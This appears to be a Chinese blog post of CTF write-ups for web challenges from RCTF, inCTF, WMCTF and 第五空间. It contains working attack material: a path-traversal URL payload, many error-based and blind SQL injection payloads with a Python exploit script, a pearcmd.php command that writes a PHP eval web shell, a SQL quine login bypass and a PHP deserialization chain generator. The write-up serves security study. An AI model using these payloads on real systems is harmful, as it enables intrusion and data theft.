内容纲要

WMCTF&RCTF&inCTF&第五空间 web WP

RCTF

easyphp

需要绕过的限制

  1. nginx配置/admin需要127.0.0.1访问

  2. 绕过 ‘/*’ 路由下对登录授权的检查

  3. 绕过isdanger函数对参数中../的过滤

解题思路:

审计源码index.php中 '/*' 路由下对登录授权的检查

$app->route('/*', function () {
    global $app;
    $request = $app->request();
    $app->render("head", [], "head_content");
    var_dump($_GET);
    if (stristr($request->url, "login") !== FALSE) {
        return true;
    } else {
        if ($_SESSION["user"]) {
            return true;
        }
        $app->redirect("/login");
    }
});

发现 $request->url 中含有login就不会检查登录授权转状态

跟踪 $request->url 到Request.php中

<?php
// ...
    public function __construct($config = array())
    {
        // Default properties
        if (empty($config)) {
            $config = array(
                'url' => str_replace('@', '%40', self::getVar(
                    'REQUEST_URI',
                    '/'
                )),
                'base' => str_replace(
                    array('\\', ' '),
                    array('/', '%20'),
                    dirname(self::getVar('SCRIPT_NAME'))
                ),
                // ...
            );
        }
        $this->init($config);
    }
    // ...
    public function init($properties = array())
    {
        // Set all the defined properties
        foreach ($properties as $name => $value) {
            $this->$name = $value;
        }
        if ($this->base != '/' && strlen($this->base) > 0 && strpos(
            $this->url,
            $this->base
        ) === 0) {
            $this->url = substr($this->url, strlen($this->base));
        }
        // Default url
        if (empty($this->url)) {
            $this->url = '/';
        }
        // Merge URL query parameters with $_GET
        else {
            $_GET += self::parseQuery($this->url);
            $this->query->setData($_GET);
        }
        // ...
    }
    // ...
    public static function getVar($var, $default = '')
    {
        return isset($_SERVER[$var]) ? $_SERVER[$var] : $default;
    }
// ...

发现 $request->url= substr($_SERVER[REQUEST_URI], strlen(dirname($_SERVER[SCRIPT_NAME]))),并且注意到上⾯代码段22-30⾏他会去尝试解析 $request->url中的get参数,并添加到 $_GET中本地搭环境测试了很久,发现访问/login/admin%3flogin?data=../时,nginx传给php的部分变量如下

$_SERVER[REQUEST_URI]='/login/admin?login'
$_SERVER[SCRIPT_NAME]='/login/admin?login'
$_GET=array("data"=>"../")

经过Request.php处理后

$request->url='/admin?login'
$_GET= array('data'=>'../','login'=>'')

于是同时绕过了限制1和2

然后本地测试了⼀下在isdanger⾥输出 $_GET,只有data没有login,说明filter在解析 $request->url中的get参数之前,故同样的⽅式将data参数也编码到⽂件路径⾥⽽⾮?后⾯的参
数⾥即可。

最终的payload:

http://124.71.132.232:60080/login/admin%3flogin&data=..%252f..%252f..%252fflag

xss it

css injection

ezsqli

mysql 8.0.21 order by injection

 WEB

 ns_shaft_sql

源码审计

<?php

error_reporting(0);
session_start();

include_once "config.php";
include_once "flag.php";

function init_status() {
    if (!isset($_SESSION['floor'])) {
        $_SESSION['floor'] = 1;
    }
    if (!isset($_SESSION['disabled_functions'])) {
        $_SESSION['disabled_functions'] = array();
    }
    if (!isset($_SESSION['k'])) {
        $_SESSION['k'] = random_str(8);
    }
}

function reset_status() {
    $_SESSION['floor'] = 1;
    $_SESSION['disabled_functions'] = array();
    $_SESSION['k'] = random_str(8);
}

function random_str($length=0) {
    $ss = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    if ($length == 0) {
        $length = mt_rand(10, 20);
    }
    $res = "";
    for($i=0; $i<$length; $i++) {
        $res .= $ss[mt_rand(0, 61)];
    }
    return $res;
}

function random_str2() {
    $ss = "0123456789";
    $length = mt_rand(10, 17);
    $res = "";
    $res .= $ss[mt_rand(1, 9)];
    for($i=0; $i<$length; $i++) {
        $res .= $ss[mt_rand(0, 9)];
    }
    return $res;
}

function extract_function($query) {
    global $mysql_functions;
    $allowed_functions = array("concat", "unhex");
    $funcs = array();
    $query_arr = preg_split("/[^a-zA-Z0-9_]/", strtolower($query));
    foreach($mysql_functions as $func) {
        $func = strtolower($func);
        if(!in_array($func, $allowed_functions) && in_array($func, $query_arr)) {
            array_push($funcs, $func);
        }
    }
    return $funcs;
}

init_status();

$max_floor = 0x2e;
if ($_SESSION['floor'] > $max_floor) {
    printf("Congratulations! and flag is %s\n<br>\n", $flag);
    exit(0);
}

if (isset($_GET['reset'])) {
    reset_status();
    printf("Reset successfully!");
    exit(0);
}

printf("You are on floor %d.\n<br>\n", $_SESSION['floor']);
printf("Your key is %s\n<br>\n", $_SESSION['k']);
printf("Disabled Functions: %s\n<br>\n", implode(", ", $_SESSION['disabled_functions']));

if (!isset($_REQUEST['sql'])) {
    highlight_file(__FILE__);
    exit(0);
}

$query = base64_decode($_REQUEST['sql']);
if (empty($query) || strlen($query) > 0x100 || !ctype_print($query)) {
    die("Die");
}

$disabled_functions = $_SESSION['disabled_functions'];
foreach ($disabled_functions as $func) {
    if (stripos($query, $func) !== false) {
        die("Die");
    }
}

$conn = new mysqli($db_host, $db_user, $db_password, $db_name);
$mysqli = new mysqli($db_host, $db_user2, $db_password2, $db_name);

$k = $_SESSION['k'];
$v = random_str2();

if (!$conn->query("DELETE FROM `s` WHERE k='$k';")) {
    die("Die");
}
if (!$conn->query("INSERT INTO `s` (`k`, `v`) values ('$k', '$v');")) {
    die("Die");
}

if ($mysqli->query($query) === false) {
    $err_msg = mysqli_error($mysqli);
    if (!empty($err_msg) && (strpos($err_msg, $v) !== false)) {
        $funcs = extract_function($query);
        if (empty($funcs)) {
            die("Die");
        }
        foreach($funcs as $func) {
            if (in_array($func, $disabled_functions)) {
                die("Die");
            }
        }
        $_SESSION['floor'] += 1;
        $_SESSION['disabled_functions'] = array_merge($_SESSION['disabled_functions'], $funcs);

        if ($_SESSION['floor'] > $max_floor) {
            printf("Congratulations! and flag is %s\n<br>\n", $flag);
        } else {
            printf("Success! You are on floor %d, and your key is %s.\n<br>\n", $_SESSION['floor'], $_SESSION['k']);
            printf("Disabled Functions: %s\n<br>\n", implode(", ", $_SESSION['disabled_functions']));
        }
        exit(0);
    }
}
die("Die");
?>

代码看完,知道了他要我们进行0x2e次报错注入,注入语句完全可控,报错要把他每次插入s表中的 $_session['k']对应的随机数v给显示出来,并且除了unhex和concat,其它mysql函数只能用一次,用完就会加入黑名单。

 我的解法

不过他这里禁用函数是在php里检查输入字符串实现的,我就想我能不能给updatexml创建一堆别名试试?查资料发现mysql可以自定义函数,create function貌似有戏。

但是比赛的时候也不知道当时怎么回事,可能做题做晕了,效率极低,写create function语句的时候总是出错,折腾了很久,而且发现如果自定义函数的话,没有mysql原生函数会导致最后这一大个if都进不去直接到最后的die了,就卡在这里了,最后也没有搞成功。

赛后复现看到n1的WP恍然大悟,直接随便写个mysql的函数在注释里就可以成功的,POC如下

create function my(a int,b varchar(64)) returns varchar(64) return extractvalue(a,b);
select my(1,concat(0x1,(select v from s where `k`="Co0FzXbX")));#updatexml(1,1,1)

而且这样也不用一堆别名了,一个就行2333

EXP如下:

import requests
import base64
sqlfunclist=["ABS","SQRT","MOD","CEIL","CEILING","FLOOR","RAND","ROUND","SIGN","POW","POWER","SIN","ASIN","COS","ACOS","TAN","ATAN","COT","LENGTH","CONCAT","INSERT","LOWER","UPPER","LEFT","RIGHT","TRIM","REPLACE","SUBSTRING","REVERSE","CURDATE","CURRENT_DATE","CURTIME","CURRENT_TIME","NOW","SYSDATE","UNIX_TIMESTAMP","FROM_UNIXTIME","MONTH","MONTHNAME","DAYNAME","DAYOFWEEK","WEEK","DAYOFYEAR","DAYOFMONTH","YEAR","TIME_TO_SEC","SEC_TO_TIME","DATE_ADD","ADDDATE","DATE_SUB","SUBDATE","ADDTIME","SUBTIME","DATEDIFF","DATE_FORMAT","WEEKDAY","MAX","MIN","COUNT","SUM","AVG","IF","IFNULL","CASE"]
url="http://localhost:5000/?sql="
my_function="my"
res=requests.get(url+base64.b64encode(f"create function {my_function}(a int,b varchar(64)) returns varchar(64) return extractvalue(a,b);".encode()).decode())
cookie=res.cookies
k=res.text[res.text.find("Your key is ")+12:][:8]
print(k)
for each in sqlfunclist:
    res=requests.get(url+base64.b64encode(f"select {my_function}(1,concat(0x1,(select v from s where `k`='{k}')));#{each}".encode()).decode(),cookies=cookie)
    if "rctf" in res.text.lower():
        break
print(res.text)

NU1L的解法

MariaDB [web_test]> set @@sql_mode:=(select concat(0x22,v) from s where `k`='Co0FzXbX');
ERROR 1231 (42000): Variable 'sql_mode' can't be set to the value of '"26446897500723097'

因为可以写任意语句,所以可以不是select呀,2333,出题人没想到吧

ROIS官方解法

这题质量是真的高,ROIS的题目是真的良心啊。。。因为我想着估计正解就是真有0x2e种不同的函数的报错注入方法,而且是在高版本php下。但是我去网上找,翻来覆去只有常见的extravalue、exp、floor、updatexml这些。。。感谢ROIS给我们这些小白的无偿报错注入姿势教学,收藏了:

payloads = [
    f"select bin_to_uuid((select v from s where k='{key}'));",
    f"select extractvalue(1,concat(0x7e,(select v from s where k='{key}')));",
    f"select updatexml(1,concat(0x7e,(select v from s where k='{key}')),1);",
    f"select ST_ASBINARY(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
    f"SELECT ST_ASGEOJSON(unhex('0000000001010000000000000000000000000000000000F03F'), 2, (select v from s where k='{key}'));",
    f"select ST_ASTEXT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
    f"select ST_ASWKB(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
    f"select ST_ASWKT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
    f"select st_geomcollfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geomcollfromtxt('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select ST_GeomCollFromWKB('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geometrycollectionfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geometrycollectionfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geometryfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geometryfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"SELECT ST_GEOMFROMGEOJSON('', (select v from s where k='{key}'));",
    f"select st_geomfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_geomfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"SELECT st_latfromgeohash((select concat('a',v) from s where k='{key}'));",
    f"select st_linefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_linefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_linestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_linestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"SELECT ST_LONGFROMGEOHASH((select concat('-',(select v from s where k='{key}'))));",
    f"select st_mlinefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_mlinefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_mpointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_mpointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_mpolyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_mpolyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multilinestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multilinestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multipointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multipointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multipolygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_multipolygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"SELECT ST_POINTFROMGEOHASH((select concat('a',v) from s where k='{key}'), 0);",
    f"select st_pointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_pointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_polyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_polyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_polygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select st_polygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
    f"select uuid_to_bin((select v from s where k='{key}'));",
    f"select v from s where k='{key}' and gtid_subset(v,'a');",
    f"select(gtid_subtract((select(v)from(s)where(k)='{key}'),'A'));",
]

VerySafe

这道题就不复现了,仅记录知识点

利用思路:CaddyServer<=2.4.2+php-fpm的目录穿越漏洞结合pearcmd.php命令执行

 pearcmd.php和peclcmd.php

一般php在/usr/local/lib/php下会有这两个文件,并且这个目录一般是在include_path中的

这pearcmd.php中有这么一行:if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])),peclcmd.php仅仅是定义了个PEAR_RUNTYPE之后,直接调用了pearcmd.php

pearcmd.php和peclcmd.php可以实现从远处下载脚本到指定目录

还可以写配置文件到指定目录

root@2ae04561f787:/usr/local/lib/php# php pearcmd.php config-create "/<?=eval($_GET[1]);?>" /tmp/poc.php
Configuration (channel pear.php.net):
=====================================
Auto-discover new Channels     auto_discover    <not set>
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       <not set>
PEAR server [DEPRECATED]       master_server    <not set>
Default Channel Mirror         preferred_mirror <not set>
Remote Configuration File      remote_config    <not set>
PEAR executables directory     bin_dir          /<?=eval([1]);?>/pear
PEAR documentation directory   doc_dir          /<?=eval([1]);?>/pear/docs
PHP extension directory        ext_dir          /<?=eval([1]);?>/pear/ext
PEAR directory                 php_dir          /<?=eval([1]);?>/pear/php
PEAR Installer cache directory cache_dir        /<?=eval([1]);?>/pear/cache
PEAR configuration file        cfg_dir          /<?=eval([1]);?>/pear/cfg
directory
PEAR data directory            data_dir         /<?=eval([1]);?>/pear/data
PEAR Installer download        download_dir     /<?=eval([1]);?>/pear/download
directory
Systems manpage files          man_dir          /<?=eval([1]);?>/pear/man
directory
PEAR metadata directory        metadata_dir     <not set>
PHP CLI/CGI binary             php_bin          <not set>
php.ini location               php_ini          <not set>
--program-prefix passed to     php_prefix       <not set>
PHP's ./configure
--program-suffix passed to     php_suffix       <not set>
PHP's ./configure
PEAR Installer temp directory  temp_dir         /<?=eval([1]);?>/pear/temp
PEAR test directory            test_dir         /<?=eval([1]);?>/pear/tests
PEAR www files directory       www_dir          /<?=eval([1]);?>/pear/www
Cache TimeToLive               cache_ttl        <not set>
Preferred Package State        preferred_state  <not set>
Unix file mask                 umask            <not set>
Debug Log Level                verbose          <not set>
PEAR password (for             password         <not set>
maintainers)
Signature Handling Program     sig_bin          <not set>
Signature Key Directory        sig_keydir       <not set>
Signature Key Id               sig_keyid        <not set>
Package Signature Type         sig_type         <not set>
PEAR username (for             username         <not set>
maintainers)
User Configuration File        Filename         /tmp/poc.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/poc.php"
root@2ae04561f787:/usr/local/lib/php# cat /tmp/poc.php
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:25:"/<?=eval([1]);?>/pear/php";s:8:"data_dir";s:26:"/<?=eval([1]);?>/pear/data";s:7:"www_dir";s:25:"/<?=eval([1]);?>/pear/www";s:7:"cfg_dir";s:25:"/<?=eval([1]);?>/pear/cfg";s:7:"ext_dir";s:25:"/<?=eval([1]);?>/pear/ext";s:7:"doc_dir";s:26:"/<?=eval([1]);?>/pear/docs";s:8:"test_dir";s:27:"/<?=eval([1]);?>/pear/tests";s:9:"cache_dir";s:27:"/<?=eval([1]);?>/pear/cache";s:12:"download_dir";s:30:"/<?=eval([1]);?>/pear/download";s:8:"temp_dir";s:26:"/<?=eval([1]);?>/pear/temp";s:7:"bin_dir";s:21:"/<?=eval([1]);?>/pear";s:7:"man_dir";s:25:"/<?=eval([1]);?>/pear/man";}root@2ae04561f787:/usr/local/lib/php# 

如果php开了register_argc_argv设置项,那么get参数自动会注册为argc、argv。

inCTF

Vuln Drive

/return-files?f=/proc/self/cwd/app.py获得源码发现/dev_test,
/dev_test页面输入http://127.0.0.1发现内网php站源码,part1=%27绕过not this way的检查,part2参数构造sqli盲注

snakeholessecret

XSLeak

WMCTF

ez piwigo

number

unicode python

Make PHP Great Again And Again

php-fpm

granddad’s guestbook

csti

scientific_adfree_networking

第五空间

yet_another_mysql_injection

F12告诉我们/?source看源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    echo $sql;
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    print_r($row);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

过滤很不严格,有两种思路

1.Quine

2.盲注出密码

盲注

基于时间盲注,过滤了sleep,可以用benchmark替代,过滤了and,但是没有过滤or和not。

测试payload如下

username=admin&password='%09or%09not(ascii(mid((select%09version()),1,1))like%0950%09or%09benchmark(2000000,sha1('312312')))#

使用benchmark进行延时注入是可行的,比如:

20210920005014imagepng

20210920012546imagepng

20210920012605imagepng

后续和普通盲注一样了,但是这道题根本就么米有password。

Quine

题目需要sql查询出的password和我们输入的一样,类似之前VD的那道sql题,有两种思路:

  1. information_schema.PROCESSLIST里有最近一条查询,但是这题这里不行,因为最近一条查询是完整的sql语句,而我们输入的只是其中一部分

  2. Quine,Quine是一种能够输出自身的程序,各种语言的版本参看[wikipedia](Quine (computing) – Wikipedia (iwiki.eu.org)),更多有关sql可以参看[stackoverflow](quine (self-producing) SQL query – Stack Overflow),还可以看之前我博客上VD那场比赛的WP

因为要拼接我们的数据最为password,所以先让他password查不出来,然后用union给他加上我们构造的数据作为password。

这里仅讲解使用最为广泛使用的一种mysql quine来构造本题payload。

原本的Quine大概是这样的:

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

这个Quine其生成过程很简单,一共三步

原始语句:

SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine

第一步,将原始语句中的双引号改成单引号,得到

SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine

第二步,使用原始语句替换替换上一步中的\$,得到

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

其中CHAR(34)=',CHAR(39)=",char(36)=$

所以这里要让他select出来字段名为password,所以把AS quine改成 AS password

然后要绕过过滤’$’,随便用别的字符换一下,比如!,对应char(36)改为char(33)

最后加上我们拼接sql语句要用的’ union,因为我们构造的这个Quine中字符串是单引号闭合的,并且在第一部会把字符串中单引号改成双引号,所以字符串中的select 前面加上的是" union。

最终测试一下:

20210920011522imagepng

没有问题,开头加上’ union将空格换成别的比如%0a或者%09之类的即可。

my payload:

'%09union%09SELECT%09REPLACE(REPLACE('"%09union%09SELECT%09REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!")%09AS%09password#',CHAR(34),CHAR(39)),CHAR(33),'"%09union%09SELECT%09REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!")%09AS%09password#')%09AS%09password#

processlist

打脸,其实这个也是可以的,使用right()控制输出的就是咱输入的就行233

pklovecloud

审计源码

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

pop链很简单,主要就是要让file_get_contents里的 $file='flag.php'

echo 可以掉起toString函数,所以最外层是acp的对象,然后toString里调用了cinder的echo_name,让cinder为ace的对象就行。主要要解决的是if($this->openstack->neutron === $this->openstack->nova)的判断。

openstack由docker反序列化而来,而且有nova和neutron属性,所以首先想到用acp类,但是这样就会acp嵌套ace嵌套acp,构造的时候会死循环堆溢出,其实可以构造一个aca类和acp一样,最里面用aca类,生成的payload把aca改回acp即可

其实这里没必要用acp,直接用ace就行,php可以给对象定义类定义里没有的属性。

然后要解决 $this->openstack->neutron被赋值的问题,其实只要让nova是neutron的引用就好,neutron改了nova也会变化。

payload gen exp:

<?php  
class acp{   
    function __construct(){      
        $a=new ace();
        $a->filename="flag.php";
        $b=new ace();
        $b->neutron='123';
        $b->nova=&$b->neutron;
        $a->docker=serialize($b);
        $this->cinder = $a;
    }  
}  
class ace{}  
$c=new acp();
echo serialize($c);
?>

Leave a Reply

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据